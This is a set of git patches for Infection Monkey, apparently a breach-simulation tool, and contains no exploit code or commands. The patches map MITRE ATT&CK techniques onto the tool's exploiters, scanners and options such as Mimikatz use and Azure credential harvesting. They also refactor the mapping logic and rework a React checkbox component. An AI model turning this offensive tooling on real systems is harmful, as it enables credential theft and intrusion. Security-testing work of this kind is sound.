"description": "Adversaries may steal the credentials of a specific user or service account using " "Credential Access techniques or capture credentials earlier in their " "reconnaissance process.", - "mapped_to": ["T1003"] + "depends_on": ["T1003"] } } }, @@ -61,7 +61,7 @@ SCHEMA = { "description": "Credential dumping is the process of obtaining account login and password " "information, normally in the form of a hash or a clear text password, " "from the operating system and software.", - "mapped_to": ["T1078"] + "depends_on": ["T1078"] } } }, diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index c5611e4e1..7d7d0d440 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -116,6 +116,7 @@ SCHEMA = { "BackdoorUser" ], "title": "Back door user", + "attack_techniques": ["T1110"] }, ], }, @@ -135,7 +136,8 @@ SCHEMA = { "enum": [ "SSHFinger" ], - "title": "SSHFinger" + "title": "SSHFinger", + "attack_techniques": ["T1110"] }, { "type": "string", @@ -393,6 +395,7 @@ SCHEMA = { "title": "Harvest Azure Credentials", "type": "boolean", "default": True, + "attack_techniques": ["T1110", "T1078"], "description": "Determine if the Monkey should try to harvest password credentials from Azure VMs" }, @@ -406,6 +409,7 @@ SCHEMA = { "title": "Should use Mimikatz", "type": "boolean", "default": True, + "attack_techniques": ["T1110", "T1078"], "description": "Determines whether to use Mimikatz" }, } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js index 8267449d0..ae0d5b92c 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js @@ -138,9 +138,9 @@ class MatrixComponent extends AuthComponent { let tempMatrix = this.state.configData; tempMatrix[techType[0]].properties[technique].value = value; // Toggle all mapped techniques - if (! mapped && tempMatrix[techType[0]].properties[technique].hasOwnProperty('mapped_to')){ + if (! mapped && tempMatrix[techType[0]].properties[technique].hasOwnProperty('depends_on')){ console.log("Triggered"); - tempMatrix[techType[0]].properties[technique].mapped_to.forEach(mappedTechnique => { + tempMatrix[techType[0]].properties[technique].depends_on.forEach(mappedTechnique => { console.log(mappedTechnique) this.handleTechniqueChange(mappedTechnique, value, true) }) diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index b8df0f5a9..41441e5b9 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -15,4 +15,5 @@ ipaddress enum34 pycryptodome boto3 -awscli \ No newline at end of file +awscli +dpath From 300f821b4c255fd236ab16fc4d64be9819b43320 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 29 Mar 2019 17:37:16 +0200 Subject: [PATCH 024/598] Refactored matrix parsing, added comments --- .../cc/resources/attack_config.py | 2 + .../cc/services/attack/attack_config.py | 63 ++++++++++++++----- .../cc/services/config_schema.py | 4 +- 3 files changed, 52 insertions(+), 17 deletions(-) diff --git a/monkey/monkey_island/cc/resources/attack_config.py b/monkey/monkey_island/cc/resources/attack_config.py index 0e33fc6d1..8b8e9787c 100644 --- a/monkey/monkey_island/cc/resources/attack_config.py +++ b/monkey/monkey_island/cc/resources/attack_config.py @@ -5,6 +5,8 @@ from flask import jsonify, request from cc.auth import jwt_required from cc.services.attack.attack_config import * +__author__ = "VakarisZ" + class AttackConfiguration(flask_restful.Resource): @jwt_required() diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index 713eeab36..9deb26277 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -42,32 +42,28 @@ def apply_to_monkey_config(): def set_arrays(attack_techniques, monkey_config, monkey_schema): """ - Sets exploiters/scanners/PBAs and other array type fields according to ATT&CK matrix + Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} :param monkey_config: Monkey island's configuration :param monkey_schema: Monkey configuration schema """ for key, definition in monkey_schema['definitions'].items(): for array_field in definition['anyOf']: - # Go trough each attack technique used by exploiter/scanner/PBA + # Check if current array field has attack_techniques assigned to it if 'attack_techniques' not in array_field: continue - for attack_technique in array_field['attack_techniques']: - # Skip if exploiter is marked with not yet implemented technique - if attack_technique not in attack_techniques: - continue - # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA - if not attack_techniques[attack_technique]: - r_alter_array(monkey_config, key, array_field['enum'][0], remove=True) - break - # If exploiter's attack technique is enabled, enable the exploiter/scanner/PBA - else: - r_alter_array(monkey_config, key, array_field['enum'][0], remove=False) + try: + should_remove = not should_enable_field(array_field['attack_techniques'], attack_techniques) + except KeyError: + # Monkey schema field contains not yet implemented technique + continue + # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA + r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove) def set_booleans(attack_techniques, monkey_config, monkey_schema): """ - Sets exploiters/scanners/PBAs and other array type fields according to ATT&CK matrix + Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} :param monkey_config: Monkey island's configuration :param monkey_schema: Monkey configuration schema @@ -77,10 +73,24 @@ def set_booleans(attack_techniques, monkey_config, monkey_schema): def r_set_booleans(path, value, attack_techniques, monkey_config): + """ + Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them + according to ATT&CK matrix. + :param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] + :param value: Value of config property + :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...} + :param monkey_config: Monkey island's configuration + """ if isinstance(value, dict): dictionary = {} + # If 'value' is a boolean value that should be set: if 'type' in value and value['type'] == 'boolean' and 'attack_techniques' in value: - set_bool_conf_val(path, should_enable_field(value['attack_techniques'], attack_techniques), monkey_config) + try: + set_bool_conf_val(path, should_enable_field(value['attack_techniques'], attack_techniques), monkey_config) + except KeyError: + # Monkey schema has a technique that is not yet implemented + pass + # If 'value' is dict, we go over each of it's fields to search for booleans elif 'properties' in value: dictionary = value['properties'] else: @@ -88,14 +98,30 @@ def r_set_booleans(path, value, attack_techniques, monkey_config): for key, item in dictionary.items(): path.append(key) r_set_booleans(path, item, attack_techniques, monkey_config) + # Method enumerated everything in current path, goes back a level. del path[-1] def set_bool_conf_val(path, val, monkey_config): + """ + Changes monkey's configuration by setting one of its boolean fields value + :param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz'] + :param val: Boolean + :param monkey_config: Monkey's configuration + """ util.set(monkey_config, '/'.join(path), val) def should_enable_field(field_techniques, users_techniques): + """ + Determines whether a single config field should be enabled or not. + :param field_techniques: ATT&CK techniques that field uses + :param users_techniques: ATT&CK techniques that user chose + :return: True, if user enabled all techniques used by the field, false otherwise + """ + # Method can't decide field value because it has no attack techniques assign to it. + if not field_techniques: + raise KeyError for technique in field_techniques: if not users_techniques[technique]: return False @@ -103,6 +129,13 @@ def should_enable_field(field_techniques, users_techniques): def r_alter_array(config_value, array_name, field, remove=True): + """ + Recursively searches config (DFS) for array and removes/adds a field. + :param config_value: Some object/value from config + :param array_name: Name of array this method should search + :param field: Field in array that this method should add/remove + :param remove: Removes field from array if true, adds it if false + """ if isinstance(config_value, dict): if array_name in config_value and isinstance(config_value[array_name], list): if remove and field in config_value[array_name]: diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 7d7d0d440..0f7e072f1 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -14,7 +14,7 @@ SCHEMA = { "SmbExploiter" ], "title": "SMB Exploiter", - "attack_techniques": ["T1110", "T1210", "T1021", "T1035", "T1075"] + "attack_techniques": ["T1110", "T1210", "T1021", "T1035", "T1075", "T16616161"] }, { "type": "string", @@ -409,7 +409,7 @@ SCHEMA = { "title": "Should use Mimikatz", "type": "boolean", "default": True, - "attack_techniques": ["T1110", "T1078"], + "attack_techniques": ["T1110", "T1078", "T123123123"], "description": "Determines whether to use Mimikatz" }, } From 689e034524e93736cbbf7329a5dff83539cdbc7e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Apr 2019 09:56:29 +0300 Subject: [PATCH 025/598] Removed UI checkbox component --- .../src/components/ui-components/checkBox.js | 83 ------------------- 1 file changed, 83 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/checkBox.js diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/checkBox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/checkBox.js deleted file mode 100644 index 143df9c86..000000000 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/checkBox.js +++ /dev/null @@ -1,83 +0,0 @@ -import '../../styles/CheckBox.scss' -import React from 'react'; -import Tooltip from 'react-tooltip-lite'; - -class Checkbox extends React.PureComponent { - - constructor() { - super(props); - - this.state = { - checked: false, - isAnimating: false, - }; - - this.toggleChecked = this.toggleChecked.bind(this); - this.ping = this.ping.bind(this); - this.composeStateClasses = this.composeStateClasses.bind(this); - } - - // - toggleChecked() { - if (this.state.isAnimating) return false; - this.setState({ - checked: !this.state.checked, - isAnimating: true, - }); - } - - // - ping() { - this.setState({ isAnimating: false }) - } - - // - composeStateClasses(core) { - let result = core; - - if (this.state.checked) { result += ' is-checked'; } - else { result += ' is-unchecked' } - - if (this.state.isAnimating) { result += ' do-ping'; } - return result; - } - - // - render() { - - const cl = this.composeStateClasses('ui-checkbox-btn'); - let tooltip = ""; - if (this.props.hasOwnProperty("tooltipContent") && this.props.hasOwnProperty("tooltipDirection")){ - tooltip = () - } - } - return ( -
      - - - { - this.state.checked && - - - - - - } - { - !this.state.checked && - - - - - - } - -
      -
      - ) - } -} -export default Checkbox; From ac1d084a5c0300729ea73e8fc6dd911f93f683ff Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Apr 2019 09:58:32 +0300 Subject: [PATCH 026/598] Removed UI checkbox component again --- .../src/components/ui-components/checkbox.js | 61 ------------------- 1 file changed, 61 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js deleted file mode 100644 index 1d3754036..000000000 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js +++ /dev/null @@ -1,61 +0,0 @@ -import '../../styles/Checkbox.scss' -import React from 'react'; - -class Checkbox extends React.PureComponent { - - constructor() { - super(); - - this.state = { - checked: false, - isAnimating: false, - }; - - this.toggleChecked = this.toggleChecked.bind(this); - this.ping = this.ping.bind(this); - this.composeStateClasses = this.composeStateClasses.bind(this); - } - - // - toggleChecked() { - if (this.state.isAnimating) return false; - this.setState({ - checked: !this.state.checked, - isAnimating: true, - }); - } - - // - ping() { - this.setState({ isAnimating: false }) - } - - // - composeStateClasses(core) { - let result = core; - - if (this.state.checked) { result += ' is-checked'; } - else { result += ' is-unchecked' } - - if (this.state.isAnimating) { result += ' do-ping'; } - return result; - } - - // - render() { - - const cl = this.composeStateClasses('ui-checkbox-btn'); - - return ( -
      - - -
      -
      - ) - } -} - -export default Checkbox; From 00c19aa3b975f8c1a98a3ff9def5f8f4191df0c1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Apr 2019 10:01:53 +0300 Subject: [PATCH 027/598] Added correct checkbox file --- .../src/components/ui-components/checkbox.js | 68 +++++++++++++++++++ 1 file changed, 68 insertions(+) create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js new file mode 100644 index 000000000..4cfd022f0 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js @@ -0,0 +1,68 @@ +import '../../styles/Checkbox.scss' +import React from 'react'; + +class Checkbox extends React.PureComponent { + + componentDidUpdate(prevProps) { + if (this.props.checked !== prevProps.checked) { + this.setState({checked: this.props.checked}); + } + } + + constructor(props) { + super(props); + this.state = { + checked: this.props.checked, + necessary: this.props.necessary, + isAnimating: false + }; + this.toggleChecked = this.toggleChecked.bind(this); + this.ping = this.ping.bind(this); + this.composeStateClasses = this.composeStateClasses.bind(this); + } + + // + toggleChecked() { + if (this.state.isAnimating) return false; + this.setState({ + checked: !this.state.checked, + isAnimating: true, + }, () => { this.props.changeHandler(this.props.name, this.state.checked)}); + } + + // + ping() { + this.setState({ isAnimating: false }) + } + + // + composeStateClasses(core) { + let result = core; + if (this.state.necessary){ + return result + ' blocked' + } + if (this.state.checked) { result += ' is-checked'; } + else { result += ' is-unchecked' } + + if (this.state.isAnimating) { result += ' do-ping'; } + return result; + } + + // + render() { + const cl = this.composeStateClasses('ui-checkbox-btn'); + return ( +
      + + +
      +
      + ) + } +} + +export default Checkbox; From ae6e83d4c6f8b8fc295d048b74524d9679fbe0f9 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Apr 2019 14:44:18 +0300 Subject: [PATCH 028/598] Test schema's change to production, minor comment improvements --- .../cc/services/attack/attack_schema.py | 10 +++-- .../cc/services/config_schema.py | 38 ++++++++++--------- .../src/components/attack/MatrixComponent.js | 8 ++-- .../ui/src/components/pages/ConfigurePage.js | 6 +-- .../src/components/ui-components/checkbox.js | 8 ++-- 5 files changed, 38 insertions(+), 32 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index 87f7f7274..3cab5b620 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -11,7 +11,9 @@ SCHEMA = { "type": "bool", "value": True, "necessary": False, - "description": "Adversaries may steal the credentials of a specific user or service account using " + "description": "Mapped with T1003 Credential dumping because both techniques " + "require same credential harvesting modules. " + "Adversaries may steal the credentials of a specific user or service account using " "Credential Access techniques or capture credentials earlier in their " "reconnaissance process.", "depends_on": ["T1003"] @@ -48,7 +50,7 @@ SCHEMA = { "T1110": { "title": "T1110 Brute force", "type": "bool", - "value": False, + "value": True, "necessary": False, "description": "Adversaries may use brute force techniques to attempt access to accounts " "when passwords are unknown or when password hashes are obtained." @@ -58,7 +60,9 @@ SCHEMA = { "type": "bool", "value": True, "necessary": False, - "description": "Credential dumping is the process of obtaining account login and password " + "description": "Mapped with T1078 Valid Accounts because both techniques require" + " same credential harvesting modules. " + "Credential dumping is the process of obtaining account login and password " "information, normally in the form of a hash or a clear text password, " "from the operating system and software.", "depends_on": ["T1078"] diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 0f7e072f1..8c7e6c154 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -14,7 +14,7 @@ SCHEMA = { "SmbExploiter" ], "title": "SMB Exploiter", - "attack_techniques": ["T1110", "T1210", "T1021", "T1035", "T1075", "T16616161"] + "attack_techniques": ["T1110", "T1210", "T1075"] }, { "type": "string", @@ -22,7 +22,7 @@ SCHEMA = { "WmiExploiter" ], "title": "WMI Exploiter", - "attack_techniques": ["T1110"] + "attack_techniques": ["T1110", "T1210"] }, { "type": "string", @@ -30,7 +30,7 @@ SCHEMA = { "MSSQLExploiter" ], "title": "MSSQL Exploiter", - "attack_techniques": ["T1110"] + "attack_techniques": ["T1110", "T1210"] }, { "type": "string", @@ -54,7 +54,7 @@ SCHEMA = { "SSHExploiter" ], "title": "SSH Exploiter", - "attack_techniques": ["T1110"] + "attack_techniques": ["T1110", "T1210"] }, { "type": "string", @@ -62,7 +62,7 @@ SCHEMA = { "ShellShockExploiter" ], "title": "ShellShock Exploiter", - "attack_techniques": [] + "attack_techniques": ["T1210"] }, { "type": "string", @@ -70,7 +70,7 @@ SCHEMA = { "SambaCryExploiter" ], "title": "SambaCry Exploiter", - "attack_techniques": [] + "attack_techniques": ["T1210"] }, { "type": "string", @@ -78,7 +78,7 @@ SCHEMA = { "ElasticGroovyExploiter" ], "title": "ElasticGroovy Exploiter", - "attack_techniques": [] + "attack_techniques": ["T1210"] }, { "type": "string", @@ -86,7 +86,7 @@ SCHEMA = { "Struts2Exploiter" ], "title": "Struts2 Exploiter", - "attack_techniques": [] + "attack_techniques": ["T1210"] }, { "type": "string", @@ -94,7 +94,7 @@ SCHEMA = { "WebLogicExploiter" ], "title": "Oracle Web Logic Exploiter", - "attack_techniques": [] + "attack_techniques": ["T1210"] }, { "type": "string", @@ -102,7 +102,7 @@ SCHEMA = { "HadoopExploiter" ], "title": "Hadoop/Yarn Exploiter", - "attack_techniques": [] + "attack_techniques": ["T1210"] } ] }, @@ -116,7 +116,7 @@ SCHEMA = { "BackdoorUser" ], "title": "Back door user", - "attack_techniques": ["T1110"] + "attack_techniques": [] }, ], }, @@ -129,7 +129,8 @@ SCHEMA = { "enum": [ "SMBFinger" ], - "title": "SMBFinger" + "title": "SMBFinger", + "attack_techniques": ["T1210"] }, { "type": "string", @@ -137,7 +138,7 @@ SCHEMA = { "SSHFinger" ], "title": "SSHFinger", - "attack_techniques": ["T1110"] + "attack_techniques": ["T1210"] }, { "type": "string", @@ -158,14 +159,16 @@ SCHEMA = { "enum": [ "MySQLFinger" ], - "title": "MySQLFinger" + "title": "MySQLFinger", + "attack_techniques": ["T1210"] }, { "type": "string", "enum": [ "MSSQLFinger" ], - "title": "MSSQLFinger" + "title": "MSSQLFinger", + "attack_techniques": ["T1210"] }, { @@ -173,7 +176,8 @@ SCHEMA = { "enum": [ "ElasticFinger" ], - "title": "ElasticFinger" + "title": "ElasticFinger", + "attack_techniques": ["T1210"] } ] } @@ -409,7 +413,7 @@ SCHEMA = { "title": "Should use Mimikatz", "type": "boolean", "default": True, - "attack_techniques": ["T1110", "T1078", "T123123123"], + "attack_techniques": ["T1110", "T1078"], "description": "Determines whether to use Mimikatz" }, } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js index ae0d5b92c..1803a7cd9 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js @@ -18,7 +18,7 @@ let findMaxTechniques = function (data){ return maxLen }; -// Parses config schema into data suitable for react-table (ATT&CK matrix) +// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix) let parseTechniques = function (data, maxLen) { let techniques = []; // Create rows with attack techniques @@ -46,7 +46,7 @@ let parseTechniques = function (data, maxLen) { class MatrixComponent extends AuthComponent { constructor(props) { super(props); - // Copy configuration and parse it for ATT&CK matrix table + // Copy ATT&CK configuration and parse it for ATT&CK matrix table let configCopy = JSON.parse(JSON.stringify(this.props.configuration)); this.state = {lastAction: 'none', configData: this.props.configuration, @@ -117,6 +117,7 @@ class MatrixComponent extends AuthComponent { }); }; + // Updates state based on values in config supplied. updateStateFromConfig = (config, lastAction = '') => { let configCopy = JSON.parse(JSON.stringify(config)); let maxTechniques = findMaxTechniques(Object.values(configCopy)); @@ -131,6 +132,7 @@ class MatrixComponent extends AuthComponent { }); }; + // Handles change in technique, when user toggles it handleTechniqueChange = (technique, value, mapped=false) => { // Change value on configuration Object.entries(this.state.configData).forEach(techType => { @@ -139,9 +141,7 @@ class MatrixComponent extends AuthComponent { tempMatrix[techType[0]].properties[technique].value = value; // Toggle all mapped techniques if (! mapped && tempMatrix[techType[0]].properties[technique].hasOwnProperty('depends_on')){ - console.log("Triggered"); tempMatrix[techType[0]].properties[technique].depends_on.forEach(mappedTechnique => { - console.log(mappedTechnique) this.handleTechniqueChange(mappedTechnique, value, true) }) } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index a3626ae1a..bb369fa73 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -277,7 +277,6 @@ class ConfigurePageComponent extends AuthComponent { displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema['definitions'] = this.state.schema['definitions']; } - return (

      Monkey Configuration

      @@ -299,9 +298,11 @@ class ConfigurePageComponent extends AuthComponent { } { this.state.selectedSection ?
      + onChange={this.onChange} + noValidate={true}>
      { this.state.allMonkeysAreDead ? '' : @@ -364,7 +365,6 @@ class ConfigurePageComponent extends AuthComponent {
      : ''}
      - ); } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js index 4cfd022f0..0b3f357d9 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js @@ -20,8 +20,7 @@ class Checkbox extends React.PureComponent { this.ping = this.ping.bind(this); this.composeStateClasses = this.composeStateClasses.bind(this); } - - // + toggleChecked() { if (this.state.isAnimating) return false; this.setState({ @@ -30,12 +29,12 @@ class Checkbox extends React.PureComponent { }, () => { this.props.changeHandler(this.props.name, this.state.checked)}); } - // + // Stops animation ping() { this.setState({ isAnimating: false }) } - // + // Creates class string for component composeStateClasses(core) { let result = core; if (this.state.necessary){ @@ -48,7 +47,6 @@ class Checkbox extends React.PureComponent { return result; } - // render() { const cl = this.composeStateClasses('ui-checkbox-btn'); return ( From 2a8d5b2e48f162819a798e71c3459b7ef5605431 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Apr 2019 18:23:12 +0300 Subject: [PATCH 029/598] Removed unrelated file change --- monkey/infection_monkey/example.conf | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index cf79dbccc..ca8041382 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -98,8 +98,4 @@ "victims_max_exploit": 7, "victims_max_find": 30, "post_breach_actions" : [] - custom_PBA_linux_cmd = "" - custom_PBA_windows_cmd = "" - PBA_linux_filename = None - PBA_windows_filename = None } From 5944908f2826121e9e5d14716af4d5ee961cfa66 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 4 Apr 2019 09:22:51 +0300 Subject: [PATCH 030/598] Renamed get_techniques method to be more precise --- monkey/monkey_island/cc/services/attack/attack_config.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index 9deb26277..8ebfa30ec 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -32,7 +32,7 @@ def apply_to_monkey_config(): Applies ATT&CK matrix to the monkey configuration :return: """ - attack_techniques = get_techniques() + attack_techniques = get_technique_values() monkey_config = ConfigService.get_config(False, True, True) monkey_schema = ConfigService.get_config_schema() set_arrays(attack_techniques, monkey_config, monkey_schema) @@ -147,9 +147,9 @@ def r_alter_array(config_value, array_name, field, remove=True): r_alter_array(prop[1], array_name, field, remove) -def get_techniques(): +def get_technique_values(): """ - Parses ATT&CK config into a dic of techniques. + Parses ATT&CK config into a dic of techniques and corresponding values. :return: Dictionary of techniques. Format: {"T1110": True, "T1075": False, ...} """ attack_config = get_config() From 2106d6dd0b72a8a79f8288bdfe5b8509671d2124 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 11 Apr 2019 14:48:40 +0300 Subject: [PATCH 031/598] Minor PR comments addressed --- monkey/monkey_island/cc/services/attack/attack_config.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index 8ebfa30ec..3e243d9bb 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -86,7 +86,9 @@ def r_set_booleans(path, value, attack_techniques, monkey_config): # If 'value' is a boolean value that should be set: if 'type' in value and value['type'] == 'boolean' and 'attack_techniques' in value: try: - set_bool_conf_val(path, should_enable_field(value['attack_techniques'], attack_techniques), monkey_config) + set_bool_conf_val(path, + should_enable_field(value['attack_techniques'], attack_techniques), + monkey_config) except KeyError: # Monkey schema has a technique that is not yet implemented pass @@ -154,7 +156,7 @@ def get_technique_values(): """ attack_config = get_config() techniques = {} - for key, attack_type in attack_config['properties'].items(): + for type_name, attack_type in attack_config['properties'].items(): for key, technique in attack_type['properties'].items(): techniques[key] = technique['value'] return techniques From ce78ebab917a88d837e2602c31be7b5e22a73e80 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 15 Apr 2019 13:04:57 +0300 Subject: [PATCH 032/598] Refactored imports according to latest changes --- monkey/monkey_island/cc/resources/attack_config.py | 4 ++-- monkey/monkey_island/cc/resources/root.py | 2 +- monkey/monkey_island/cc/services/attack/attack_config.py | 6 +++--- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/resources/attack_config.py b/monkey/monkey_island/cc/resources/attack_config.py index 8b8e9787c..482c3b5fe 100644 --- a/monkey/monkey_island/cc/resources/attack_config.py +++ b/monkey/monkey_island/cc/resources/attack_config.py @@ -2,8 +2,8 @@ import flask_restful import json from flask import jsonify, request -from cc.auth import jwt_required -from cc.services.attack.attack_config import * +from monkey_island.cc.auth import jwt_required +from monkey_island.cc.services.attack.attack_config import * __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 5f29186ca..cd2f7e6a5 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -7,7 +7,7 @@ from flask import request, make_response, jsonify from monkey_island.cc.auth import jwt_required from monkey_island.cc.database import mongo from monkey_island.cc.services.config import ConfigService -from cc.services.attack.attack_config import reset_config as reset_attack_config +from monkey_island.cc.services.attack.attack_config import reset_config as reset_attack_config from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.report import ReportService from monkey_island.cc.utils import local_ip_addresses diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py index 3e243d9bb..c153a40f7 100644 --- a/monkey/monkey_island/cc/services/attack/attack_config.py +++ b/monkey/monkey_island/cc/services/attack/attack_config.py @@ -1,8 +1,8 @@ import logging from dpath import util -from cc.database import mongo -from attack_schema import SCHEMA -from cc.services.config import ConfigService +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.attack_schema import SCHEMA +from monkey_island.cc.services.config import ConfigService __author__ = "VakarisZ" From 6da9b46167a61a1c2e522e4aff18e0ae0bb73dde Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Apr 2019 14:23:33 +0300 Subject: [PATCH 033/598] UI file structure added --- .../cc/ui/src/components/Main.js | 10 +++++++ .../src/components/pages/AttackReportPage.js | 27 +++++++++++++++++++ 2 files changed, 37 insertions(+) create mode 100644 monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 291cfde58..0d793c7d4 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -85,6 +85,7 @@ class AppComponent extends AuthComponent { run_monkey: false, infection_done: false, report_done: false, + attack_report_done:false, isLoggedIn: undefined } }; @@ -152,6 +153,15 @@ class AppComponent extends AuthComponent { : ''} +
    • + + 5. + Security Report + {this.state.completedSteps.attack_report_done ? + + : ''} + +
    • diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js new file mode 100644 index 000000000..298ca7ab7 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js @@ -0,0 +1,27 @@ +import React from 'react'; +import {Button, Col} from 'react-bootstrap'; +import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; +import {edgeGroupToColor, options} from 'components/map/MapOptions'; +import AuthComponent from '../AuthComponent'; + +class AttackReportPageComponent extends AuthComponent { + + constructor(props) { + super(props); + this.state = { + }; + } + + render() { + return ( + +

      5.ATT&CK techniques report

      +
      + ATT&CK techniques report +
